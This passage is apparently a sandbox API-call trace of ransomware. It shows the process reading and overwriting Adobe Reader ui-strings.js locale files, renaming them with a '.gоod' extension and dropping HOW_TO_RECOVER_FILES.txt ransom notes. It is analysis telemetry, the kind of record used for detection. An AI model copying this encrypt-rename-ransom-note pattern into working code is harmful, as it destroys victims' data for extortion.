DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0247.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a543e0 | out: lpFileInformation=0x3a543e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb09a)) returned 1 [0247.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0247.247] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0247.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0247.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0247.248] GetFileType (hFile=0x870) returned 0x1 [0247.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0247.248] GetFileType (hFile=0x870) returned 0x1 [0247.248] SetFilePointer (in: hFile=0x870, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0247.248] ReadFile (in: hFile=0x870, lpBuffer=0x3a548d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3a548d8*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0247.980] CloseHandle (hObject=0x870) returned 1 [0248.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0248.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0248.631] GetFileType (hFile=0x82c) returned 0x1 [0248.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0248.631] GetFileType (hFile=0x82c) returned 0x1 [0248.631] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xb09a [0248.631] WriteFile (in: hFile=0x82c, lpBuffer=0x37d5ae0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x37d5ae0*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0248.632] CloseHandle (hObject=0x82c) returned 1 [0248.632] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0248.632] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0248.633] GetFileType (hFile=0x82c) returned 0x1 [0248.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0248.633] GetFileType (hFile=0x82c) returned 0x1 [0248.633] ReadFile (in: hFile=0x82c, lpBuffer=0x37d8238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x37d8238*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0248.662] CloseHandle (hObject=0x82c) returned 1 [0248.662] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0248.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0248.663] GetFileType (hFile=0x82c) returned 0x1 [0248.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0248.663] GetFileType (hFile=0x82c) returned 0x1 [0248.663] WriteFile (in: hFile=0x82c, lpBuffer=0x37d6f20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x37d6f20*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0248.663] CloseHandle (hObject=0x82c) returned 1 [0248.663] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.663] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0248.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0248.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x906db606, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0aa)) returned 1 [0248.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0248.663] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0248.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0248.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0248.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0248.665] GetFileType (hFile=0x82c) returned 0x1 [0248.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0248.665] GetFileType (hFile=0x82c) returned 0x1 [0248.666] WriteFile (in: hFile=0x82c, lpBuffer=0x3856f00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3856f00*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0248.667] CloseHandle (hObject=0x82c) returned 1 [0248.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0248.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x71 [0248.667] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0248.667] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.667] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.667] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0248.668] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0248.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0248.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0248.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0248.668] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x71 [0248.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0248.668] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.668] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.668] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.668] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0248.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0248.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0248.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0248.669] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3866c78 | out: lpFileInformation=0x3866c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbcb2)) returned 1 [0248.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0248.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0248.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0248.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0248.669] GetFileType (hFile=0x82c) returned 0x1 [0248.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0248.670] GetFileType (hFile=0x82c) returned 0x1 [0248.670] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0248.670] ReadFile (in: hFile=0x82c, lpBuffer=0x3867170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3867170*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0249.316] CloseHandle (hObject=0x82c) returned 1 [0249.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0249.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0249.317] GetFileType (hFile=0x82c) returned 0x1 [0249.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0249.317] GetFileType (hFile=0x82c) returned 0x1 [0249.317] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xbcb2 [0249.317] WriteFile (in: hFile=0x82c, lpBuffer=0x37de1a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x37de1a8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0249.318] CloseHandle (hObject=0x82c) returned 1 [0249.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0249.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0249.319] GetFileType (hFile=0x82c) returned 0x1 [0249.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0249.319] GetFileType (hFile=0x82c) returned 0x1 [0249.319] ReadFile (in: hFile=0x82c, lpBuffer=0x37e08c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x37e08c0*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0249.346] CloseHandle (hObject=0x82c) returned 1 [0249.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0249.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0249.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0249.346] GetFileType (hFile=0x82c) returned 0x1 [0249.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0249.346] GetFileType (hFile=0x82c) returned 0x1 [0249.346] WriteFile (in: hFile=0x82c, lpBuffer=0x37df5a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x37df5a8*, lpNumberOfBytesWritten=0x203eb358*=0x1010, 